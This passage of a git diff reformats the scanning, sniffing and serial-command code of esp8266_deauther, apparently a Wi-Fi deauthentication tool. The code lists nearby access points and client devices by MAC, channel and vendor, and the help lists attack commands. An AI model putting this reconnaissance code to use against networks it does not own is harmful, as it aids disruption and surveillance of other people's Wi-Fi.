1000; - /* AP Scan */ - if (mode == SCAN_MODE_APS || mode == SCAN_MODE_ALL) { - // remove old results - accesspoints.removeAll(); - stations.removeAll(); - // start AP scan - prntln(SC_START_AP); - WiFi.scanNetworks(true, true); - } + // Serial.printf("mode: %u, time: %u, continue-mode: %u, continueTime: %u, channelHop: %u, channel: %u\r\n", mode, + // time, scan_continue_mode, continueTime, channelHop, channel); - /* Station Scan */ - else if (mode == SCAN_MODE_STATIONS) { - // start station scan - if (accesspoints.count() < 1) { - start(SCAN_MODE_ALL); - //Serial.println(str(SC_ERROR_NO_AP)); - return; + /* AP Scan */ + if ((mode == SCAN_MODE_APS) || (mode == SCAN_MODE_ALL)) { + // remove old results + accesspoints.removeAll(); + stations.removeAll(); + // start AP scan + prntln(SC_START_AP); + WiFi.scanNetworks(true, true); } - snifferStartTime = currentTime; - prnt(SC_START_CLIENT); - if (sniffTime > 0) prnt(String(sniffTime / 1000) + S); - else prnt(SC_INFINITELY); - if(!channelHop){ - prnt(SC_ON_CHANNEL); - prnt(wifi_channel); + + /* Station Scan */ + else if (mode == SCAN_MODE_STATIONS) { + // start station scan + if (accesspoints.count() < 1) { + start(SCAN_MODE_ALL); + // Serial.println(str(SC_ERROR_NO_AP)); + return; + } + snifferStartTime = currentTime; + prnt(SC_START_CLIENT); + + if (sniffTime > 0) prnt(String(sniffTime / 1000) + S); + else prnt(SC_INFINITELY); + + if (!channelHop) { + prnt(SC_ON_CHANNEL); + prnt(wifi_channel); + } + prntln(); + + // enable sniffer + stopAP(); + wifi_promiscuous_enable(true); } - prntln(); - - // enable sniffer - stopAP(); - wifi_promiscuous_enable(true); - } - else if (mode == SCAN_MODE_SNIFFER) { - deauths = tmpDeauths; - tmpDeauths = 0; - snifferStartTime = currentTime; - prnt(SS_START_SNIFFER); - if (sniffTime > 0) prnt(String(sniffTime / 1000) + S); - else prnt(SC_INFINITELY); - prnt(SC_ON_CHANNEL); - prntln(channelHop ? str(SC_ONE_TO) +(String)settings.getMaxCh() : (String)wifi_channel); + else if (mode == SCAN_MODE_SNIFFER) { + deauths = tmpDeauths; + tmpDeauths = 0; + snifferStartTime = currentTime; + prnt(SS_START_SNIFFER); - // enable sniffer - stopAP(); - wifi_promiscuous_enable(true); - } + if (sniffTime > 0) prnt(String(sniffTime / 1000) + S); + else prnt(SC_INFINITELY); + prnt(SC_ON_CHANNEL); + prntln(channelHop ? str(SC_ONE_TO) + (String)settings.getMaxCh() : (String)wifi_channel); - /* Stop scan */ - else if (mode == SCAN_MODE_OFF) { - wifi_promiscuous_enable(false); - if(settings.getWebInterface()) resumeAP(); - prntln(SC_STOPPED); - save(true); - if (scan_continue_mode != SCAN_MODE_OFF) { - prnt(SC_RESTART); - prnt(int(continueTime / 1000)); - prntln(SC_CONTINUE); + // enable sniffer + stopAP(); + wifi_promiscuous_enable(true); } - } - /* ERROR */ - else { - prnt(SC_ERROR_MODE); - prntln(mode); - return; - } + /* Stop scan */ + else if (mode == SCAN_MODE_OFF) { + wifi_promiscuous_enable(false); + + if (settings.getWebInterface()) resumeAP(); + prntln(SC_STOPPED); + save(true); + + if (scan_continue_mode != SCAN_MODE_OFF) { + prnt(SC_RESTART); + prnt(int(continueTime / 1000)); + prntln(SC_CONTINUE); + } + } + + /* ERROR */ + else { + prnt(SC_ERROR_MODE); + prntln(mode); + return; + } } void Scan::update() { - if (scanMode == SCAN_MODE_OFF) { - // restart scan if it is continuous - if (scan_continue_mode != SCAN_MODE_OFF) { - if (currentTime - continueStartTime > continueTime) start(scan_continue_mode); - } - return; - } - - // sniffer - if(isSniffing()){ - // update packet list every 1s - if(currentTime - snifferPacketTime > 1000){ - snifferPacketTime = currentTime; - list->add(packets); - if(list->size() > SCAN_PACKET_LIST_SIZE) list->remove(0); - deauths = tmpDeauths; - tmpDeauths = 0; - packets = 0; + if (scanMode == SCAN_MODE_OFF) { + // restart scan if it is continuous + if (scan_continue_mode != SCAN_MODE_OFF) { + if (currentTime - continueStartTime > continueTime) start(scan_continue_mode); + } + return; } - // print status every 3s - if (currentTime - snifferOutputTime > 3000) { - char s[100]; - if(sniffTime > 0){ - sprintf(s,str(SC_OUTPUT_A).c_str(), getPercentage(), packets, stations.count(), deauths); - } else{ - sprintf(s,str(SC_OUTPUT_B).c_str(), packets, stations.count(), deauths); - } - prnt(String(s)); - snifferOutputTime = currentTime; + // sniffer + if (isSniffing()) { + // update packet list every 1s + if (currentTime - snifferPacketTime > 1000) { + snifferPacketTime = currentTime; + list->add(packets); + + if (list->size() > SCAN_PACKET_LIST_SIZE) list->remove(0); + deauths = tmpDeauths; + tmpDeauths = 0; + packets = 0; + } + + // print status every 3s + if (currentTime - snifferOutputTime > 3000) { + char s[100]; + + if (sniffTime > 0) { + sprintf(s, str(SC_OUTPUT_A).c_str(), getPercentage(), packets, stations.count(), deauths); + } else { + sprintf(s, str(SC_OUTPUT_B).c_str(), packets, stations.count(), deauths); + } + prnt(String(s)); + snifferOutputTime = currentTime; + } + + // channel hopping + if (channelHop && (currentTime - snifferChannelTime > settings.getChTime())) { + snifferChannelTime = currentTime; + + if (scanMode == SCAN_MODE_STATIONS) nextChannel(); // go to next channel an AP is on + else setChannel(wifi_channel + 1); // go to next channel + } } - // channel hopping - if(channelHop && currentTime - snifferChannelTime > settings.getChTime()) { - snifferChannelTime = currentTime; - if(scanMode == SCAN_MODE_STATIONS) nextChannel(); // go to next channel an AP is on - else setChannel(wifi_channel + 1); // go to next channel - } - } - - // APs - if (scanMode == SCAN_MODE_APS || scanMode == SCAN_MODE_ALL) { - int16_t results = WiFi.scanComplete(); - if (results >= 0) { - for (int16_t i = 0; i < results && i < 256; i++) { - if(channelHop || WiFi.channel(i) == wifi_channel) accesspoints.add(i, false); - } - accesspoints.sort(); - accesspoints.printAll(); - if (scanMode == SCAN_MODE_ALL){ - delay(30); - start(SCAN_MODE_STATIONS); - } - else start(SCAN_MODE_OFF); - } - } + // APs + if ((scanMode == SCAN_MODE_APS) || (scanMode == SCAN_MODE_ALL)) { + int16_t results = WiFi.scanComplete(); - // Stations - else if (sniffTime > 0 && currentTime > snifferStartTime + sniffTime) { - wifi_promiscuous_enable(false); - if(scanMode == SCAN_MODE_STATIONS){ - stations.sort(); - stations.printAll(); + if (results >= 0) { + for (int16_t i = 0; i < results && i < 256; i++) { + if (channelHop || (WiFi.channel(i) == wifi_channel)) accesspoints.add(i, false); + } + accesspoints.sort(); + accesspoints.printAll(); + + if (scanMode == SCAN_MODE_ALL) { + delay(30); + start(SCAN_MODE_STATIONS); + } + else start(SCAN_MODE_OFF); + } + } + + // Stations + else if ((sniffTime > 0) && (currentTime > snifferStartTime + sniffTime)) { + wifi_promiscuous_enable(false); + + if (scanMode == SCAN_MODE_STATIONS) { + stations.sort(); + stations.printAll(); + } + start(SCAN_MODE_OFF); } - start(SCAN_MODE_OFF); - } } -void Scan::setup(){ - save(true); +void Scan::setup() { + save(true); } void Scan::stop() { - scan_continue_mode = SCAN_MODE_OFF; - start(SCAN_MODE_OFF); + scan_continue_mode = SCAN_MODE_OFF; + start(SCAN_MODE_OFF); } void Scan::setChannel(uint8_t ch) { - if (ch > settings.getMaxCh()) ch = 1; - else if (ch < 1) ch = settings.getMaxCh(); + if (ch > settings.getMaxCh()) ch = 1; + else if (ch < 1) ch = settings.getMaxCh(); - wifi_promiscuous_enable(0); - setWifiChannel(ch); - wifi_promiscuous_enable(1); + wifi_promiscuous_enable(0); + setWifiChannel(ch); + wifi_promiscuous_enable(1); } void Scan::nextChannel() { - if (accesspoints.count() > 1) { - uint8_t ch = wifi_channel; - do { - ch++; - if (ch > settings.getMaxCh()) ch = 1; - } while (!apWithChannel(ch)); - setChannel(ch); - } + if (accesspoints.count() > 1) { + uint8_t ch = wifi_channel; + + do { + ch++; + + if (ch > settings.getMaxCh()) ch = 1; + } while (!apWithChannel(ch)); + setChannel(ch); + } } bool Scan::apWithChannel(uint8_t ch) { - for (int i = 0; i < accesspoints.count(); i++) - if (accesspoints.getCh(i) == ch) return true; - return false; + for (int i = 0; i < accesspoints.count(); i++) + if (accesspoints.getCh(i) == ch) return true; + + return false; } -void Scan::save(bool force, String filePath){ - String tmp = FILE_PATH; - FILE_PATH = filePath; - save(true); - FILE_PATH = tmp; +void Scan::save(bool force, String filePath) { + String tmp = FILE_PATH; + + FILE_PATH = filePath; + save(true); + FILE_PATH = tmp; } void Scan::save(bool force) { - if(!(accesspoints.changed || stations.changed) && !force) return; - - // Accesspoints - String buf = String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SC_JSON_APS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + String(OPEN_BRACKET); // {"aps":[ - - if(!writeFile(FILE_PATH, buf)) { // overwrite old file - prnt(F_ERROR_SAVING); - prntln(FILE_PATH); - return; - } - - buf = String(); // clear buffer - uint32_t apCount = accesspoints.count(); - - for (uint32_t i = 0; i < apCount; i++) { - buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + escape(accesspoints.getSSID(i)) + String(DOUBLEQUOTES) + String(COMMA); // ["ssid", - buf += String(DOUBLEQUOTES) + escape(accesspoints.getNameStr(i)) + String(DOUBLEQUOTES) + String(COMMA); // "name", - buf += String(accesspoints.getCh(i)) + String(COMMA); // 1, - buf += String(accesspoints.getRSSI(i)) + String(COMMA); // -30, - buf += String(DOUBLEQUOTES) + accesspoints.getEncStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "wpa2", - buf += String(DOUBLEQUOTES) + accesspoints.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22", - buf += String(DOUBLEQUOTES) + accesspoints.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor", - buf += b2s(accesspoints.getSelected(i)) + String(CLOSE_BRACKET); // false] - if(i < apCount - 1) buf += String(COMMA); // , + if (!(accesspoints.changed || stations.changed) && !force) return; - if(buf.length() >= 1024){ - if(!appendFile(FILE_PATH, buf)) { + // Accesspoints + String buf = String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SC_JSON_APS) + String(DOUBLEQUOTES) + String( + DOUBLEPOINT) + String(OPEN_BRACKET); // {"aps":[ + + if (!writeFile(FILE_PATH, buf)) { // overwrite old file prnt(F_ERROR_SAVING); prntln(FILE_PATH); return; - } - - buf = String(); // clear buffer } - } - // Stations - buf += String(CLOSE_BRACKET) + String(COMMA) + String(DOUBLEQUOTES) + str(SC_JSON_STATIONS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + String(OPEN_BRACKET); // ],"stations":[; - uint32_t stationCount = stations.count(); - - for (uint32_t i = 0; i < stationCount; i++) { - buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + stations.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // ["00:11:22:00:11:22", - buf += String(stations.getCh(i)) + String(COMMA); // 1, - buf += String(DOUBLEQUOTES) + stations.getNameStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "name", - buf += String(DOUBLEQUOTES) + stations.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor", - buf += String(*stations.getPkts(i)) + String(COMMA); // 123, - buf += String(stations.getAP(i)) + String(COMMA); // 0, - buf += String(DOUBLEQUOTES) + stations.getTimeStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "<1min", - buf += b2s(stations.getSelected(i)) + String(CLOSE_BRACKET); // false] - if(i < stationCount - 1) buf += String(COMMA); // , + buf = String(); // clear buffer + uint32_t apCount = accesspoints.count(); - if(buf.length() >= 1024){ - if(!appendFile(FILE_PATH, buf)) { + for (uint32_t i = 0; i < apCount; i++) { + buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + escape(accesspoints.getSSID(i)) + String(DOUBLEQUOTES) + + String(COMMA); // ["ssid", + buf += String(DOUBLEQUOTES) + escape(accesspoints.getNameStr(i)) + String(DOUBLEQUOTES) + String(COMMA); // "name", + buf += String(accesspoints.getCh(i)) + String(COMMA); // 1, + buf += String(accesspoints.getRSSI(i)) + String(COMMA); // -30, + buf += String(DOUBLEQUOTES) + accesspoints.getEncStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "wpa2", + buf += String(DOUBLEQUOTES) + accesspoints.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22", + buf += String(DOUBLEQUOTES) + accesspoints.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor", + buf += b2s(accesspoints.getSelected(i)) + String(CLOSE_BRACKET); // false] + + if (i < apCount - 1) buf += String(COMMA); // , + + if (buf.length() >= 1024) { + if (!appendFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + buf = String(); // clear buffer + } + } + + // Stations + buf += String(CLOSE_BRACKET) + String(COMMA) + String(DOUBLEQUOTES) + str(SC_JSON_STATIONS) + String(DOUBLEQUOTES) + + String(DOUBLEPOINT) + String(OPEN_BRACKET); // ],"stations":[; + uint32_t stationCount = stations.count(); + + for (uint32_t i = 0; i < stationCount; i++) { + buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + stations.getMacStr(i) + String(DOUBLEQUOTES) + + String(COMMA); // ["00:11:22:00:11:22", + buf += String(stations.getCh(i)) + String(COMMA); // 1, + buf += String(DOUBLEQUOTES) + stations.getNameStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "name", + buf += String(DOUBLEQUOTES) + stations.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor", + buf += String(*stations.getPkts(i)) + String(COMMA); // 123, + buf += String(stations.getAP(i)) + String(COMMA); // 0, + buf += String(DOUBLEQUOTES) + stations.getTimeStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "<1min", + buf += b2s(stations.getSelected(i)) + String(CLOSE_BRACKET); // false] + + if (i < stationCount - 1) buf += String(COMMA); // , + + if (buf.length() >= 1024) { + if (!appendFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + buf = String(); // clear buffer + } + } + + buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]} + + if (!appendFile(FILE_PATH, buf)) { prnt(F_ERROR_SAVING); prntln(FILE_PATH); return; - } - - buf = String(); // clear buffer } - } - buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]} - - if(!appendFile(FILE_PATH, buf)) { - prnt(F_ERROR_SAVING); + accesspoints.changed = false; + stations.changed = false; + prnt(SC_SAVED_IN); prntln(FILE_PATH); - return; - } - - accesspoints.changed = false; - stations.changed = false; - prnt(SC_SAVED_IN); - prntln(FILE_PATH); } uint32_t Scan::countSelected() { - return (accesspoints.selected() + stations.selected() + names.selected()); + return accesspoints.selected() + stations.selected() + names.selected(); } uint32_t Scan::countAll() { - return (accesspoints.count() + stations.count() + names.count()); + return accesspoints.count() + stations.count() + names.count(); } bool Scan::isScanning() { - return scanMode != SCAN_MODE_OFF; + return scanMode != SCAN_MODE_OFF; } bool Scan::isSniffing() { - return scanMode == SCAN_MODE_STATIONS || scanMode == SCAN_MODE_SNIFFER; + return scanMode == SCAN_MODE_STATIONS || scanMode == SCAN_MODE_SNIFFER; } -uint8_t Scan::getPercentage(){ - if(!isSniffing()) return 0; - return (currentTime - snifferStartTime) / (sniffTime / 100); +uint8_t Scan::getPercentage() { + if (!isSniffing()) return 0; + + return (currentTime - snifferStartTime) / (sniffTime / 100); } void Scan::selectAll() { - accesspoints.selectAll(); - stations.selectAll(); - names.selectAll(); + accesspoints.selectAll(); + stations.selectAll(); + names.selectAll(); } void Scan::deselectAll() { - accesspoints.deselectAll(); - stations.deselectAll(); - names.deselectAll(); + accesspoints.deselectAll(); + stations.deselectAll(); + names.deselectAll(); } void Scan::printAll() { - accesspoints.printAll(); - stations.printAll(); - names.printAll(); - ssids.printAll(); + accesspoints.printAll(); + stations.printAll(); + names.printAll(); + ssids.printAll(); } void Scan::printSelected() { - accesspoints.printSelected(); - stations.printSelected(); - names.printSelected(); + accesspoints.printSelected(); + stations.printSelected(); + names.printSelected(); } -uint32_t Scan::getPackets(int i){ - if(list->size() < SCAN_PACKET_LIST_SIZE){ - uint8_t translatedNum = SCAN_PACKET_LIST_SIZE - list->size(); - if(i >= translatedNum) return list->get(i-translatedNum); - return 0; - } else { - return list->get(i); - } +uint32_t Scan::getPackets(int i) { + if (list->size() < SCAN_PACKET_LIST_SIZE) { + uint8_t translatedNum = SCAN_PACKET_LIST_SIZE - list->size(); + + if (i >= translatedNum) return list->get(i - translatedNum); + + return 0; + } else { + return list->get(i); + } } -double Scan::getScaleFactor(uint8_t height){ - return (double)height/(double)getMaxPacket(); +double Scan::getScaleFactor(uint8_t height) { + return (double)height / (double)getMaxPacket(); } -uint32_t Scan::getMaxPacket(){ - uint16_t max = 0; - for(uint8_t i=0;isize();i++){ - if(list->get(i) > max) max = list->get(i); - } - return max; +uint32_t Scan::getMaxPacket() { + uint16_t max = 0; + + for (uint8_t i = 0; i < list->size(); i++) { + if (list->get(i) > max) max = list->get(i); + } + return max; } -uint32_t Scan::getPacketRate(){ - return list->get(list->size()-1); -} - - +uint32_t Scan::getPacketRate() { + return list->get(list->size() - 1); +} \ No newline at end of file diff --git a/esp8266_deauther/Scan.h b/esp8266_deauther/Scan.h index 4d3ccee..7d5d44e 100644 --- a/esp8266_deauther/Scan.h +++ b/esp8266_deauther/Scan.h @@ -20,80 +20,79 @@ #define SCAN_PACKET_LIST_SIZE 64 extern Accesspoints accesspoints; -extern Stations stations; +extern Stations stations; extern Names names; extern SSIDs ssids; extern Settings settings; -extern uint8_t wifiMode; +extern uint8_t wifiMode; extern void setWifiChannel(uint8_t ch); -extern bool appendFile(String path, String &buf); -extern bool writeFile(String path, String &buf); +extern bool appendFile(String path, String& buf); +extern bool writeFile(String path, String& buf); extern void readFileToSerial(const String path); extern void resumeAP(); extern void stopAP(); extern String escape(String str); class Scan { - public: - Scan(); + public: + Scan(); - void sniffer(uint8_t* buf, uint16_t len); - void start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel); - void start(uint8_t mode); + void sniffer(uint8_t* buf, uint16_t len); + void start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, + uint8_t channel); + void start(uint8_t mode); - void setup(); - void update(); - void stop(); - void save(bool force); - void save(bool force, String filePath); - - void selectAll(); - void deselectAll(); - void printAll(); - void printSelected(); + void setup(); + void update(); + void stop(); + void save(bool force); + void save(bool force, String filePath); - uint8_t getPercentage(); - uint32_t getPackets(int i); - uint32_t countAll(); - uint32_t countSelected(); - bool isScanning(); - bool isSniffing(); + void selectAll(); + void deselectAll(); + void printAll(); + void printSelected(); - void nextChannel(); - void setChannel(uint8_t newChannel); - - double getScaleFactor(uint8_t height); - uint32_t getMaxPacket(); - uint32_t getPacketRate(); - - uint16_t deauths = 0; - uint16_t packets = 0; - private: - SimpleList* list; // packet list - - uint32_t sniffTime = SCAN_DEFAULT_TIME; // how long the scan runs - uint32_t snifferStartTime = 0; // when the scan started - uint32_t snifferOutputTime = 0; // last info output (every 3s) - uint32_t snifferChannelTime = 0; // last time the channel was changed - uint32_t snifferPacketTime = 0; // last time the packet rate was reseted (every 1s) + uint8_t getPercentage(); + uint32_t getPackets(int i); + uint32_t countAll(); + uint32_t countSelected(); + bool isScanning(); + bool isSniffing(); - uint8_t scanMode = 0; - - uint8_t scan_continue_mode = 0; // restart mode after scan stopped - uint32_t continueTime = SCAN_DEFAULT_CONTINUE_TIME; // time in ms to wait until scan restarts - uint32_t continueStartTime = 0; // when scan restarted - - bool channelHop = true; - uint16_t tmpDeauths = 0; - - bool apWithChannel(uint8_t ch); - int findAccesspoint(uint8_t* mac); + void nextChannel(); + void setChannel(uint8_t newChannel); - String FILE_PATH = "/scan.json"; + double getScaleFactor(uint8_t height); + uint32_t getMaxPacket(); + uint32_t getPacketRate(); + + uint16_t deauths = 0; + uint16_t packets = 0; + + private: + SimpleList* list; // packet list + + uint32_t sniffTime = SCAN_DEFAULT_TIME; // how long the scan runs + uint32_t snifferStartTime = 0; // when the scan started + uint32_t snifferOutputTime = 0; // last info output (every 3s) + uint32_t snifferChannelTime = 0; // last time the channel was changed + uint32_t snifferPacketTime = 0; // last time the packet rate was reseted (every 1s) + + uint8_t scanMode = 0; + + uint8_t scan_continue_mode = 0; // restart mode after scan stopped + uint32_t continueTime = SCAN_DEFAULT_CONTINUE_TIME; // time in ms to wait until scan restarts + uint32_t continueStartTime = 0; // when scan restarted + + bool channelHop = true; + uint16_t tmpDeauths = 0; + + bool apWithChannel(uint8_t ch); + int findAccesspoint(uint8_t* mac); + + String FILE_PATH = "/scan.json"; }; -#endif - - - +#endif // ifndef Scan_h \ No newline at end of file diff --git a/esp8266_deauther/SerialInterface.cpp b/esp8266_deauther/SerialInterface.cpp index 1bd8e1c..8af5b57 100644 --- a/esp8266_deauther/SerialInterface.cpp +++ b/esp8266_deauther/SerialInterface.cpp @@ -4,1140 +4,1163 @@ A short introduction for the reader: This class is a huuuuuuuge mess of if statements!!!!!1!eleven But it works and I tried to make it as compact as possible. - If someone was able to make an Arduino framework for parsing an input string in different commands with certain rules, - required- and optional parameters of different datatypes to run different callback functions... shoot me a quick message on GitHub or Twitter: @spacehuhn! + If someone was able to make an Arduino framework for parsing an input string in different commands with certain + rules, + required- and optional parameters of different datatypes to run different callback functions... shoot me a quick + message on GitHub or Twitter: @spacehuhn! PS: the framework has to be good in both CPU performance and RAM usage, otherwise it's useless. Good luck! - I already wasted way too much time trying to come up with the best way of programming this, so I will just keep it that way for now. + I already wasted way too much time trying to come up with the best way of programming this, so I will just keep it + that way for now. Also: NEVER CHANGE A RUNNING SYSTEM! -*/ + */ SerialInterface::SerialInterface() { - list = new SimpleList; + list = new SimpleList; } void SerialInterface::load() { - checkFile(execPath, String()); - executing = true; + checkFile(execPath, String()); + executing = true; } void SerialInterface::load(String filepath) { - execPath = filepath; - load(); + execPath = filepath; + load(); } void SerialInterface::enable() { - enabled = true; - prntln(CLI_SERIAL_ENABLED); + enabled = true; + prntln(CLI_SERIAL_ENABLED); } void SerialInterface::disable() { - enabled = true; - prntln(CLI_SERIAL_DISABLED); + enabled = true; + prntln(CLI_SERIAL_DISABLED); } void SerialInterface::error(String message) { - prnt(CLI_ERROR); - prntln(message); + prnt(CLI_ERROR); + prntln(message); } void SerialInterface::parameterError(String parameter) { - prnt(CLI_ERROR_PARAMETER); - prnt(parameter); - prntln(DOUBLEQUOTES); + prnt(CLI_ERROR_PARAMETER); + prnt(parameter); + prntln(DOUBLEQUOTES); } bool SerialInterface::isInt(String str) { - if (eqls(str,STR_TRUE) || eqls(str,STR_FALSE)) + if (eqls(str, STR_TRUE) || eqls(str, STR_FALSE)) return true; + + for (uint32_t i = 0; i < str.length(); i++) + if (!isDigit(str.charAt(i))) return false; + return true; - for (uint32_t i = 0; i < str.length(); i++) - if (!isDigit(str.charAt(i))) return false; - return true; } int SerialInterface::toInt(String str) { - if (eqls(str,STR_TRUE)) - return 1; - else if (eqls(str,STR_FALSE)) - return 0; - else - return str.toInt(); + if (eqls(str, STR_TRUE)) return 1; + else if (eqls(str, STR_FALSE)) return 0; + else return str.toInt(); } uint32_t SerialInterface::getTime(String time) { - int value = time.toInt(); - if (value < 0) value = -value; - if (time.substring(time.length() - 1).equalsIgnoreCase(String(S))) - value *= 1000; - else if (time.substring(time.length() - 3).equalsIgnoreCase(str(STR_MIN)) || time.charAt(time.length() - 1) == M) - value *= 60000; - return value; + int value = time.toInt(); + + if (value < 0) value = -value; + + if (time.substring(time.length() - 1).equalsIgnoreCase(String(S))) value *= 1000; + else if (time.substring(time.length() - 3).equalsIgnoreCase(str(STR_MIN)) || + (time.charAt(time.length() - 1) == M)) value *= 60000; + return value; } bool SerialInterface::eqlsCMD(int i, const char* keyword) { - return eqls(list->get(i).c_str(), keyword); + return eqls(list->get(i).c_str(), keyword); } void SerialInterface::stopScript() { - if (continuously) { - continuously = false; - prnt(CLI_STOPPED_SCRIPT); - prnt(execPath); - prntln(DOUBLEQUOTES); - prnt(SPACE); - prnt(CLI_CONTINUOUSLY); - } + if (continuously) { + continuously = false; + prnt(CLI_STOPPED_SCRIPT); + prnt(execPath); + prntln(DOUBLEQUOTES); + prnt(SPACE); + prnt(CLI_CONTINUOUSLY); + } } void SerialInterface::update() { - if (executing) { - if (execPath.charAt(0) != SLASH) - execPath = SLASH + execPath; - prnt(CLI_EXECUTING); - prntln(execPath); - File f = SPIFFS.open(execPath, "r"); - if (f.size() > 0) { - String line; - char tmp; - while (f.available()) { - tmp = f.read(); - if (tmp == NEWLINE) { - runCommands(line); - line = String(); - } else { - line += tmp; - } - } - runCommand(line); - } + if (executing) { + if (execPath.charAt(0) != SLASH) execPath = SLASH + execPath; + prnt(CLI_EXECUTING); + prntln(execPath); + File f = SPIFFS.open(execPath, "r"); - f.close(); - executing = false; - - if(continuously) prntln(CLI_SCRIPT_DONE_CONTINUE); - else prntln(CLI_SCRIPT_DONE); - - loopTime = currentTime; - } else { - if (enabled && Serial.available() > 0) - runCommands(Serial.readStringUntil(NEWLINE)); - if (continuously) { - if (currentTime - loopTime > continueTime) - executing = true; + if (f.size() > 0) { + String line; + char tmp; + + while (f.available()) { + tmp = f.read(); + + if (tmp == NEWLINE) { + runCommands(line); + line = String(); + } else { + line += tmp; + } + } + runCommand(line); + } + + f.close(); + executing = false; + + if (continuously) prntln(CLI_SCRIPT_DONE_CONTINUE); + else prntln(CLI_SCRIPT_DONE); + + loopTime = currentTime; + } else { + if (enabled && (Serial.available() > 0)) runCommands(Serial.readStringUntil(NEWLINE)); + + if (continuously) { + if (currentTime - loopTime > continueTime) executing = true; + } } - } } void SerialInterface::runCommands(String input) { - String tmp; + String tmp; - for (uint32_t i = 0; i < input.length(); i++) { - // when 2 semicolons in a row without a backslash escaping the first - if (input.charAt(i) == SEMICOLON && input.charAt(i + 1) == SEMICOLON && input.charAt(i - 1) != BACKSLASH) { - runCommand(tmp); - tmp = String(); - i++; - } else { - tmp += input.charAt(i); + for (uint32_t i = 0; i < input.length(); i++) { + // when 2 semicolons in a row without a backslash escaping the first + if ((input.charAt(i) == SEMICOLON) && (input.charAt(i + 1) == SEMICOLON) && + (input.charAt(i - 1) != BACKSLASH)) { + runCommand(tmp); + tmp = String(); + i++; + } else { + tmp += input.charAt(i); + } } - } - tmp.replace(BACKSLASH + SEMICOLON + SEMICOLON, SEMICOLON + SEMICOLON); - if (tmp.length() > 0) runCommand(tmp); + tmp.replace(BACKSLASH + SEMICOLON + SEMICOLON, SEMICOLON + SEMICOLON); + + if (tmp.length() > 0) runCommand(tmp); } void SerialInterface::runCommand(String input) { - input.replace(String(NEWLINE), String()); - input.replace(String(CARRIAGERETURN), String()); - - list->clear(); + input.replace(String(NEWLINE), String()); + input.replace(String(CARRIAGERETURN), String()); - // parse/split input in list - String tmp; - bool withinQuotes = false; - bool escaped = false; - char c; - for (uint32_t i = 0; i < input.length() && i < 512; i++) { - c = input.charAt(i); + list->clear(); - // when char is an unescaped - if(!escaped && c == BACKSLASH){ - escaped = true; - } - - // (when char is a unescaped space AND it's not within quotes) OR char is \r or \n - else if ((c == SPACE && !escaped && !withinQuotes) || c == CARRIAGERETURN || c == NEWLINE) { - // when tmp string isn't empty, add it to the list - if (tmp.length() > 0){ - list->add(tmp); - tmp = String(); // reset tmp string - } - } - - // when char is an unescaped " - else if(c == DOUBLEQUOTES && !escaped){ - // update wheter or not the following chars are within quotes or not - withinQuotes = !withinQuotes; - if(tmp.length() == 0 && !withinQuotes) tmp += SPACE; // when exiting quotes and tmp string is empty, add a space - } - - // add character to tmp string - else { - tmp += c; - escaped = false; - } - } + // parse/split input in list + String tmp; + bool withinQuotes = false; + bool escaped = false; + char c; - // add string if something is left from the loop above - if (tmp.length() > 0) list->add(tmp); + for (uint32_t i = 0; i < input.length() && i < 512; i++) { + c = input.charAt(i); - // stop when input is empty/invalid - if (list->size() == 0) return; - - // print comments - if (list->get(0) == str(CLI_COMMENT)) { - prntln(input); - return; - } - - if(settings.getSerialEcho()){ - // print command - prnt(CLI_INPUT_PREFIX); - prntln(input); - } - - if (list->size() == 0) return; - - // ===== HELP ===== // - if (eqlsCMD(0, CLI_HELP)) { - prntln(CLI_HELP_HEADER); - - prntln(CLI_HELP_HELP); - prntln(CLI_HELP_SCAN); - prntln(CLI_HELP_SHOW); - prntln(CLI_HELP_SELECT); - prntln(CLI_HELP_DESELECT); - prntln(CLI_HELP_SSID_A); - prntln(CLI_HELP_SSID_B); - prntln(CLI_HELP_SSID_C); - prntln(CLI_HELP_NAME_A); - prntln(CLI_HELP_NAME_B); - prntln(CLI_HELP_NAME_C); - prntln(CLI_HELP_SET_NAME); - prntln(CLI_HELP_ENABLE_RANDOM); - prntln(CLI_HELP_DISABLE_RANDOM); - prntln(CLI_HELP_LOAD); - prntln(CLI_HELP_SAVE); - prntln(CLI_HELP_REMOVE_A); - prntln(CLI_HELP_REMOVE_B); - prntln(CLI_HELP_ATTACK); - prntln(CLI_HELP_ATTACK_STATUS); - prntln(CLI_HELP_STOP); - prntln(CLI_HELP_SYSINFO); - prntln(CLI_HELP_CLEAR); - prntln(CLI_HELP_FORMAT); - prntln(CLI_HELP_PRINT); - prntln(CLI_HELP_DELETE); - prntln(CLI_HELP_REPLACE); - prntln(CLI_HELP_COPY); - prntln(CLI_HELP_RENAME); - prntln(CLI_HELP_RUN); - prntln(CLI_HELP_WRITE); - prntln(CLI_HELP_GET); - prntln(CLI_HELP_SET); - prntln(CLI_HELP_RESET); - prntln(CLI_HELP_CHICKEN); - prntln(CLI_HELP_REBOOT); - 